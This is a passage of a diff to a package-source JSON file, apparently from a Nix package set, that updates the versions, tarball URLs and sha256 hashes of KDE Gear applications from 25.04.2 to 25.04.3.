+    "hash": "sha256-k1BJBgxQs91e3oj4grSEv9gYP5Qy70euKtBZGxUwVFQ="
   },
   "ffmpegthumbs": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ffmpegthumbs-25.04.2.tar.xz",
-    "hash": "sha256-xH5AlV/VAq+U8m++sPJx/ekNvj3jqkQsrMtG08qASyI="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ffmpegthumbs-25.04.3.tar.xz",
+    "hash": "sha256-eCBHUaeldxaXHtGUpmNtVZ+xFBE/JMGT/Rz3mN+yqZQ="
   },
   "filelight": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/filelight-25.04.2.tar.xz",
-    "hash": "sha256-ysX3DQLSUY/VVo+Gw3hnfcpF2oYYCIWjjiy/DPENA6o="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/filelight-25.04.3.tar.xz",
+    "hash": "sha256-D22WrdzcxqTtahlTlUeoqAvcCY//t2iIWjRk5EGpGs0="
   },
   "francis": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/francis-25.04.2.tar.xz",
-    "hash": "sha256-iHDHRLJJsf1QlLUkqkTm1vAn7i/gTgy2ie/jv3lnCgs="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/francis-25.04.3.tar.xz",
+    "hash": "sha256-TfQdLJvAr8M+dExaGHbvMqqa0C3smFiRXryRFTy70Vg="
   },
   "ghostwriter": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/ghostwriter-25.04.2.tar.xz",
-    "hash": "sha256-EsHf0vgf9E5KB0cUsH00GjXlzAWKaTOOz6zmSNF8hBo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/ghostwriter-25.04.3.tar.xz",
+    "hash": "sha256-hwQ+6zvU8JblbOTfJtABqxWL+VzdvQH2mGbxwSI9c+g="
   },
   "granatier": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/granatier-25.04.2.tar.xz",
-    "hash": "sha256-SrthlEvD6/0336VJEmtB2bOf/tc6NXa+R2osrSAX3Ls="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/granatier-25.04.3.tar.xz",
+    "hash": "sha256-KO36XD0laTaQzmDdHaQ2i2qDbIvsm1sxpih+JW/2roI="
   },
   "grantlee-editor": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/grantlee-editor-25.04.2.tar.xz",
-    "hash": "sha256-trxLa5OU+HqsBtVJ7SJK9ozylWFBgv9DTUHaBs1kaus="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/grantlee-editor-25.04.3.tar.xz",
+    "hash": "sha256-s3o05BnZAbEd7Ulb/eJA27C31HqXjU52KJuj2bvjMhQ="
   },
   "grantleetheme": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/grantleetheme-25.04.2.tar.xz",
-    "hash": "sha256-Q4apQf4Qygvvm1SDrfo9Pu4AVrWO+ooQf877JtzpMso="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/grantleetheme-25.04.3.tar.xz",
+    "hash": "sha256-4l55xxOD9TiBS4J9e/r2qz+0XE94xpqkEB3/YCX0oHM="
   },
   "gwenview": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/gwenview-25.04.2.tar.xz",
-    "hash": "sha256-8uwbu3H+/QQaZWaG5OuKPtaE+RPPqG4GKkDZIiyjFD8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/gwenview-25.04.3.tar.xz",
+    "hash": "sha256-Wb+fxKS+hyYHgcy1hyISSEtpfKpT+g7n4Si9sI6vXoc="
   },
   "incidenceeditor": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/incidenceeditor-25.04.2.tar.xz",
-    "hash": "sha256-mlO3z2nGDBmuJrd0S2ebErYOymEKJHHEl+t5G2otrM8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/incidenceeditor-25.04.3.tar.xz",
+    "hash": "sha256-eWJIJf4PztE20ap9J6NA+9VMrdpwBbAmhnjG4NrGwIw="
   },
   "isoimagewriter": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/isoimagewriter-25.04.2.tar.xz",
-    "hash": "sha256-afDvhV16v/k+U4OZJBuh0SKSPeIp5DoB0yj8cfbJAb4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/isoimagewriter-25.04.3.tar.xz",
+    "hash": "sha256-jbqd72ZZ6tgjsdyxrscIDZ+rhwD3lWvr7qeNG6TZSqY="
   },
   "itinerary": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/itinerary-25.04.2.tar.xz",
-    "hash": "sha256-ZQ2szuqnFPuQhgthI4hA68b2GRYFzylDoHhaS8wAPxA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/itinerary-25.04.3.tar.xz",
+    "hash": "sha256-ktxEhNlZtyAzkMo9a6RobesspYGNfFNB6CCYCGJ7gvI="
   },
   "juk": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/juk-25.04.2.tar.xz",
-    "hash": "sha256-5ATTew6kS5JyA11xNRJP+2znBSkmxK42XBV98kXgQm4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/juk-25.04.3.tar.xz",
+    "hash": "sha256-7CVJiPrt01JtseNHZiIIPwKsIQAP+B44Zy3XuZedGSE="
   },
   "k3b": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/k3b-25.04.2.tar.xz",
-    "hash": "sha256-r6fVDoXK15mN/HS/SMiPF74kSdB/gATNfbSfoLVG/8I="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/k3b-25.04.3.tar.xz",
+    "hash": "sha256-oktypCveDrTwUB/uZgMP5yhjavrO61yKzbIku463o7U="
   },
   "kaccounts-integration": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kaccounts-integration-25.04.2.tar.xz",
-    "hash": "sha256-D+zWTQsLxpi9TJoTqA2vltOncHLduGFri8ZwtnJJ0Vw="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kaccounts-integration-25.04.3.tar.xz",
+    "hash": "sha256-caBHWiJ0+k6fMy2JA1GLJrXQJWFPfnnHR6NboSbimIw="
   },
   "kaccounts-providers": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kaccounts-providers-25.04.2.tar.xz",
-    "hash": "sha256-WGQGt/PZMXCjb8Sf4ejW6KbCPx4AvqRgri+LxqX1dis="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kaccounts-providers-25.04.3.tar.xz",
+    "hash": "sha256-qNgkUVf0uGcZBnFDKs8VoPP2WGVJkvaas7ng92Zhd7M="
   },
   "kaddressbook": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kaddressbook-25.04.2.tar.xz",
-    "hash": "sha256-deC+A4kRASK1nvClb4vAaYdbBYSBNTS8q9watefT4uM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kaddressbook-25.04.3.tar.xz",
+    "hash": "sha256-ocJ4Hbg9fjN4DhcFypVl3l3Xkb1UgxKZ+Q6TM3akeCA="
   },
   "kajongg": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kajongg-25.04.2.tar.xz",
-    "hash": "sha256-THQiKR+4tUhXgodYVFYPIh8frr+nVZCi6tAJ/L2H+RQ="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kajongg-25.04.3.tar.xz",
+    "hash": "sha256-1XiumAnsX5v+2UjeEhWO3LVFeT+xhZvRV1AWaAZJU6w="
   },
   "kalarm": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kalarm-25.04.2.tar.xz",
-    "hash": "sha256-bDNbQ6ZhCK0FOmNL/3KFBzk6sJDru4l3RTkAl3wiLMY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kalarm-25.04.3.tar.xz",
+    "hash": "sha256-3G+QvoZIw4z1fh4yyjy2LQk3H48Gqt2RiGKsa7VlCsc="
   },
   "kalgebra": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kalgebra-25.04.2.tar.xz",
-    "hash": "sha256-tUxTX9L4w+1oWQQPb4yn+9XAzLgaCiGcrJAH+itF/Ms="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kalgebra-25.04.3.tar.xz",
+    "hash": "sha256-u+JnX6HMcKDZCU/ImqjN2cecExW5fq1i2gZwTiq6gms="
   },
   "kalk": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kalk-25.04.2.tar.xz",
-    "hash": "sha256-UeLNayx9DJcaNKhGAYxFmGjnfFXWn07EkJo5VslTZfY="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kalk-25.04.3.tar.xz",
+    "hash": "sha256-M9MHnVo5cW5UToYiTv+Zfs552nf4JHu18IzmqIzwP/A="
   },
   "kalm": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kalm-25.04.2.tar.xz",
-    "hash": "sha256-LX+/UVl1ELdnZWANxpz3JnCcigvFm/OaWD9nVFS+VUE="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kalm-25.04.3.tar.xz",
+    "hash": "sha256-VUTxNcDvLVUNXptRCQJbnyfYjQ+r0gqw9BWU3LcnVeo="
   },
   "kalzium": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kalzium-25.04.2.tar.xz",
-    "hash": "sha256-JnriX9QfwDo4bkMtVqfONPnsukzlxWhprQ9dYK1E23Y="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kalzium-25.04.3.tar.xz",
+    "hash": "sha256-2Ndq49Ej2T/g3fM5ktfIUpLsVWC3amNPm/LXMcL8yto="
   },
   "kamera": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kamera-25.04.2.tar.xz",
-    "hash": "sha256-pF/QIflaozTS+ZlN3qr6KQ9xWAJ3GStsXSgpY3qNx+g="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kamera-25.04.3.tar.xz",
+    "hash": "sha256-RrnKpKnvIYNC9X7rD9rTBjX8UJDyL4ndHO1YVvBg3Uk="
   },
   "kamoso": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kamoso-25.04.2.tar.xz",
-    "hash": "sha256-Qllpwi0tZOhBNd0N8cRuFabCqH0EdZymyFPjYVFSQsE="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kamoso-25.04.3.tar.xz",
+    "hash": "sha256-J8s2rIEENFFOT4cMZNjKhR6GjdSfyhOW3LW+l6lydHc="
   },
   "kanagram": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kanagram-25.04.2.tar.xz",
-    "hash": "sha256-YipF7lXS3wDP94x/S5DPkzKFjaN2+XwZ2gMVpuJsYsc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kanagram-25.04.3.tar.xz",
+    "hash": "sha256-pufvEDxAu1I3sKXT6AzDaAr+C6kB/HJpIz31wkTf8/g="
   },
   "kapman": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kapman-25.04.2.tar.xz",
-    "hash": "sha256-7MlzaMoA2NhXmqRtT0tDRigm4x163S1hysE7yRQK3B8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kapman-25.04.3.tar.xz",
+    "hash": "sha256-k/G7Md9Mr+iDE+bO1vhuH0pykryVkIkzaZOc71L8iOc="
   },
   "kapptemplate": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kapptemplate-25.04.2.tar.xz",
-    "hash": "sha256-0fTyCv4Mh2nfsxUAS0tI9///6gIfmWeI/Doacm2Hm5I="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kapptemplate-25.04.3.tar.xz",
+    "hash": "sha256-t1ooeVjsEi2n8fq4EPmrYk+tbUqyxn7kY7I2vXvfsOI="
   },
   "kasts": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kasts-25.04.2.tar.xz",
-    "hash": "sha256-2BuVJPOPxxh0+4CpRahizPs+iAtmzeYQe8alEwQxvmM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kasts-25.04.3.tar.xz",
+    "hash": "sha256-TEYQPgSQ7os4c1vmH1xJjEZRFQEYqckUU4GQ8CSfLy8="
   },
   "kate": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kate-25.04.2.tar.xz",
-    "hash": "sha256-aVE5GhlWbSzDbDaa74a1gmEWk5HVpkz/D6cwG7F4eaU="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kate-25.04.3.tar.xz",
+    "hash": "sha256-HUVG+DguHjvIQQvhwa+I4G62bOEsgWDEyErCi/thjpc="
   },
   "katomic": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/katomic-25.04.2.tar.xz",
-    "hash": "sha256-gYCFU8+6s+KZenuDlakYr0GBRMQeyW5jGNsPEGrdye8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/katomic-25.04.3.tar.xz",
+    "hash": "sha256-dsk4K6uqoUkFzo44KAEhkrHNtoZXpLZGUlmH6REXu4s="
   },
   "kbackup": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kbackup-25.04.2.tar.xz",
-    "hash": "sha256-2z6CpvlxQrh0puvo8bge7koKhADn/VI+UVBVeVjsi7A="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kbackup-25.04.3.tar.xz",
+    "hash": "sha256-YQlX8vQee/I9i4CtM2x1NSkZNbUZDTccf5SKGS1j788="
   },
   "kblackbox": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kblackbox-25.04.2.tar.xz",
-    "hash": "sha256-TxCasBNHCOx/IR3c6dyB4YcF0VepKiO6juvKBjoNark="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kblackbox-25.04.3.tar.xz",
+    "hash": "sha256-pkwhQQ3z3svq8ehoapXX5KbtGUODpeT2cTaT3FMfJxY="
   },
   "kblocks": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kblocks-25.04.2.tar.xz",
-    "hash": "sha256-qNUk1qrgAM3x68OOR0tMTKb+wgTYBJjvBxFRY+0Tzls="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kblocks-25.04.3.tar.xz",
+    "hash": "sha256-crD1TLCd2PfBsyYNeYanFfIGRISH0LtA+F2ekX86Ldo="
   },
   "kbounce": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kbounce-25.04.2.tar.xz",
-    "hash": "sha256-H600dvJjZ46hd5TrmecnjvIfeZIs+C/9MvqWRMSZ+2k="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kbounce-25.04.3.tar.xz",
+    "hash": "sha256-f7vCwrl6EuDumh29UlmI5m1gVjJbVi/h5LTaN4T9l2U="
   },
   "kbreakout": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kbreakout-25.04.2.tar.xz",
-    "hash": "sha256-sdUymrxhZ797tX/NXgJ1gSw3EBjkR9bu3KEVgre93u8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kbreakout-25.04.3.tar.xz",
+    "hash": "sha256-ivQpaYhWUcIszshNEVzLQWQWCMjHuWUUzg/7ZD2pXNY="
   },
   "kbruch": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kbruch-25.04.2.tar.xz",
-    "hash": "sha256-UyWR3V0eTQfSSYAQ9b29LUwTwO6fsvHq268iSFtwk+s="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kbruch-25.04.3.tar.xz",
+    "hash": "sha256-/mHwaYguzGDryzwtSPZk4l24aBYvXknhCT6OKfyF31A="
   },
   "kcachegrind": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kcachegrind-25.04.2.tar.xz",
-    "hash": "sha256-z0+NlHH/4k/EJTfu0AoL+f7qDp1wUzS/jFwxdti3zGs="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kcachegrind-25.04.3.tar.xz",
+    "hash": "sha256-I8fcu/FcXuAN2sBoAi8Ri13pOdCXGZsPkY35+U902eE="
   },
   "kcalc": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kcalc-25.04.2.tar.xz",
-    "hash": "sha256-mPAQpmFf4Iza2jsV00hRnp6JJXX8NjamYQKbMXs6/Q0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kcalc-25.04.3.tar.xz",
+    "hash": "sha256-G29S/2lQpcf2dUu0H9A2r0oBaTkiey9DUfODa6cFNIs="
   },
   "kcalutils": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kcalutils-25.04.2.tar.xz",
-    "hash": "sha256-4vPiAzc6Z59ZzPMyTncGjGfQIxv/Ul1FH/0s2HRZyMA="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kcalutils-25.04.3.tar.xz",
+    "hash": "sha256-Og4po13bxotUaslP9a/JOBxK9MX2zIVYdq5KLFIZRU0="
   },
   "kcharselect": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kcharselect-25.04.2.tar.xz",
-    "hash": "sha256-NLp4E6e0PnWOEDUW0RuS5oEl+BOYm8DppuQ38zleP2M="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kcharselect-25.04.3.tar.xz",
+    "hash": "sha256-osTaxcbxpuS+kUnSq1r90YHjlc3guqX/UeJYU6uHjgc="
   },
   "kclock": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kclock-25.04.2.tar.xz",
-    "hash": "sha256-bP0oUWLNe05VJGgYSqHB7WJsNx+8kaV/3B5unf41Omo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kclock-25.04.3.tar.xz",
+    "hash": "sha256-FtSJwTlCyDwqryaK1HtHPeEyXmWxOi43SffnIC6/JYI="
   },
   "kcolorchooser": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kcolorchooser-25.04.2.tar.xz",
-    "hash": "sha256-dJ86gEmPtWMtXINfSsF+7dFtiR3XS4rwbKEkRce8ag8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kcolorchooser-25.04.3.tar.xz",
+    "hash": "sha256-CNsCeh3rngpCmr3oyHArR+FAGsAIWBL3isEKfGECcPU="
   },
   "kcron": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kcron-25.04.2.tar.xz",
-    "hash": "sha256-51s14UXXWzkbgeuILRyPAtjQ8gVhFGOSSQkQNCrgXys="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kcron-25.04.3.tar.xz",
+    "hash": "sha256-v0Y6VhxFEvrmuvTRdG2WBFxxekastmrkSWmIXqC2zQM="
   },
   "kde-dev-scripts": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kde-dev-scripts-25.04.2.tar.xz",
-    "hash": "sha256-mmHiU8F8Efibjjav+man4tNJR6ZXHmoWQ1IsrVW2lFc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kde-dev-scripts-25.04.3.tar.xz",
+    "hash": "sha256-UbHnN1WUGqUMxo0SYO8yYkof4bw5aKOn0Sbqn7dup/g="
   },
   "kde-dev-utils": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kde-dev-utils-25.04.2.tar.xz",
-    "hash": "sha256-ZVW9LmXO5+X33A0Uqko9q8+WhnIz2Frft7I4d++L33c="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kde-dev-utils-25.04.3.tar.xz",
+    "hash": "sha256-5ksknqEMO9hDFBAmYdgj8o9EDFzErm5wbiJYj20R/HA="
   },
   "kde-inotify-survey": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kde-inotify-survey-25.04.2.tar.xz",
-    "hash": "sha256-UMet+wHCsTJf0xlKbaRDWV6ciWRXJqGHvrycUebVMDo="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kde-inotify-survey-25.04.3.tar.xz",
+    "hash": "sha256-TEEsKuHIqLdE5AfT6weNm0zAApTBfWfdZHC85hEDuzQ="
   },
   "kdebugsettings": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdebugsettings-25.04.2.tar.xz",
-    "hash": "sha256-caSrXDg/AcFPtv8SoVcCKZu/1Zribgixf5+TsJD8qv4="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdebugsettings-25.04.3.tar.xz",
+    "hash": "sha256-WGHbZYLe1KwRKwpDuu8hktUfOwYJJwRB4FqmxVDS6Mg="
   },
   "kdeconnect-kde": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdeconnect-kde-25.04.2.tar.xz",
-    "hash": "sha256-TGXkc6V+Th/8mZg4rbWxqgGoVTSw5GmXq0Kr2hfM0bU="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdeconnect-kde-25.04.3.tar.xz",
+    "hash": "sha256-xEmU6Jbhe+GfuTFzFDqMEZbm0GTTsNiX1Bcrm0i940I="
   },
   "kdeedu-data": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdeedu-data-25.04.2.tar.xz",
-    "hash": "sha256-xtDUd2uqOvy6H23vd0e/xiN21QFRmI1r9/+xGPw2v/M="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdeedu-data-25.04.3.tar.xz",
+    "hash": "sha256-YjNS6PYgsVEoLifSmk6JmSsqiMPaRME9Yhu4+N4Y0Hc="
   },
   "kdegraphics-mobipocket": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdegraphics-mobipocket-25.04.2.tar.xz",
-    "hash": "sha256-3dVG6P/1VS5bfnKU88Y7YTDZqY9hVeooD6hh95PPIzc="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdegraphics-mobipocket-25.04.3.tar.xz",
+    "hash": "sha256-EvZseNGQhnwcmU9lDxQJyHveD9WSkRrTpHW3UCBF89M="
   },
   "kdegraphics-thumbnailers": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdegraphics-thumbnailers-25.04.2.tar.xz",
-    "hash": "sha256-ZaPK/+mKrbXpQCPGdNFj0aPvs9ofOyIvPYgxQ+L3/nw="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdegraphics-thumbnailers-25.04.3.tar.xz",
+    "hash": "sha256-IhtYTJLBwVcHIMq6l3Bt422+PvT27jJLd0UT439EYxg="
   },
   "kdenetwork-filesharing": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdenetwork-filesharing-25.04.2.tar.xz",
-    "hash": "sha256-87G3KM8rLSbEfDjyqtBUxv6BEqMCoMhApwy9TxHaSTs="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdenetwork-filesharing-25.04.3.tar.xz",
+    "hash": "sha256-nywF85bDzY9IpZbZqXMS6IoT12eaQf5x4KJ8ee/MGjA="
   },
   "kdenlive": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdenlive-25.04.2.tar.xz",
-    "hash": "sha256-M4VS++Z132ceBaXrzodE6LHQfbnjb0ToNlXv+c4tQoE="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdenlive-25.04.3.tar.xz",
+    "hash": "sha256-NviSflntmXsflYS1cL2ltao03BMWsg5dSPExgXMavIk="
   },
   "kdepim-addons": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdepim-addons-25.04.2.tar.xz",
-    "hash": "sha256-l9w5Po3JQfpBGaIut17tCL9Ot9KBlB+HnjqLojD/sDM="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdepim-addons-25.04.3.tar.xz",
+    "hash": "sha256-NFBl8I5fPYmguyFiM16zfWNDPrLdmKL0EZlxrsPAIlc="
   },
   "kdepim-runtime": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdepim-runtime-25.04.2.tar.xz",
-    "hash": "sha256-ZcJC4tJxQ6OiQUVPkq7NGtnApVxKYw/QXaJu8d8B6yg="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdepim-runtime-25.04.3.tar.xz",
+    "hash": "sha256-Ez3PjDFMNuzItHddnrbZKbu71TVd3fKUQauvAP6aGok="
   },
   "kdesdk-kio": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdesdk-kio-25.04.2.tar.xz",
-    "hash": "sha256-1tqE6xb1CaTjrpzqStHZlzKvhAIJjmFQ45bFC3vy6/c="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdesdk-kio-25.04.3.tar.xz",
+    "hash": "sha256-O5NILqSVR+SLSFtm7BpqGjSZuwMaMVyzz9ucs8wQjIo="
   },
   "kdesdk-thumbnailers": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdesdk-thumbnailers-25.04.2.tar.xz",
-    "hash": "sha256-I9edoNV4v9n9CCePDd12Q5ZfKsw1DzwTTgXbCq7EHY8="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdesdk-thumbnailers-25.04.3.tar.xz",
+    "hash": "sha256-8BgBCsDcTP5NzfYa9zwrfX9o3fHBkmol97lCnGSiDeQ="
   },
   "kdev-php": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdev-php-25.04.2.tar.xz",
-    "hash": "sha256-DGue90nQ+ENWUf0B3CWg3LShOnNIXmbtbVPoJE7ITk0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdev-php-25.04.3.tar.xz",
+    "hash": "sha256-e8r4dbhicPa9tCnsRr6KAe0GeCTU6SNootGxmmg4gOM="
   },
   "kdev-python": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdev-python-25.04.2.tar.xz",
-    "hash": "sha256-AF7henR5A+wILh2PZ2SiSs6EboQcyQrnwkC1uv0iKU0="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdev-python-25.04.3.tar.xz",
+    "hash": "sha256-RsZWvG4Gmrj7KdPCidu76RUx+UuLa4ILNQGKM36wPAk="
   },
   "kdevelop": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdevelop-25.04.2.tar.xz",
-    "hash": "sha256-lG8xT3NZNrlOEpi7bKris6ilwE8KmKE8Hv/H2dgm8Es="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdevelop-25.04.3.tar.xz",
+    "hash": "sha256-crsI2RPEky6uUngcWmGdiqBMTHfQ8xYqYOwujQJ6/q4="
   },
   "kdf": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdf-25.04.2.tar.xz",
-    "hash": "sha256-PYaGYVidrsS/vV5ghAfGkxwL1SBvgVuojoBZgUrZuIs="
+    "version": "25.04.3",
+    "url": "mirror://kde/stable/release-service/25.04.3/src/kdf-25.04.3.tar.xz",
+    "hash": "sha256-s25RDOoDT9LOCPu/sm0gOh2OJF1EJtTrlk0clHlk0WU="
   },
   "kdialog": {
-    "version": "25.04.2",
-    "url": "mirror://kde/stable/release-service/25.04.2/src/kdialog-25.04.2.tar.xz",
-    "hash": "sha256-X6fIVrc3+QTyEyoXZRXigdXaRnBza6KI4a656mUQKc0="
+    "version": "25.04.3",
